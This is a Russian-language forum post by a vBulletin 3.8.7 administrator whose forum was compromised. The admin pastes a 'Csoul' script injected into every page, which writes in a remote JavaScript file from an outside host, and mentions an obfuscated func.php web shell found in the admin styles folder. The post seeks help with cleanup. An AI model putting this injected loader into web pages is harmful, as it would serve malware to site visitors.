Замучался уже с вирями, 4.1.9 мой поломали.
Сейчас перешел на 3.8.7 и его ломают.
Уже вроде и дырки позакрывал.
В общем, юзеры ругаются, что у них браузеры ругаются на форум, что там типа вирус.
Что-то с вложениями случилось, загружаются, но не отображаются.
При просмотре HTML кода любой страницы вот такая фигня наблюдается
Код:
<<!--Csoul--><script type="text/javascript"><!--
var url = 'http://okefkrg.servebbs.com';
document.write('<sc' + 'ript language="JavaScript" ' +
'src="' + url + '/5977/counter.xhtml"></sc' +
'ript>')
//--></script><!--/Csoul--><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ru">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<meta name="generator" content="vBulletin 3.8.7" />
и т.д.
Перешерстил все шаблоны и php файлы - не нашел.
Зато в /cpstyles/vBulletin_3_Manual/ появился func.php
и вот на него уже очень злостно ругался мой антивирь
Вирус - PHP/Obfuscated.E
все почищено, но вот где искать этого Csoul не врублюсь!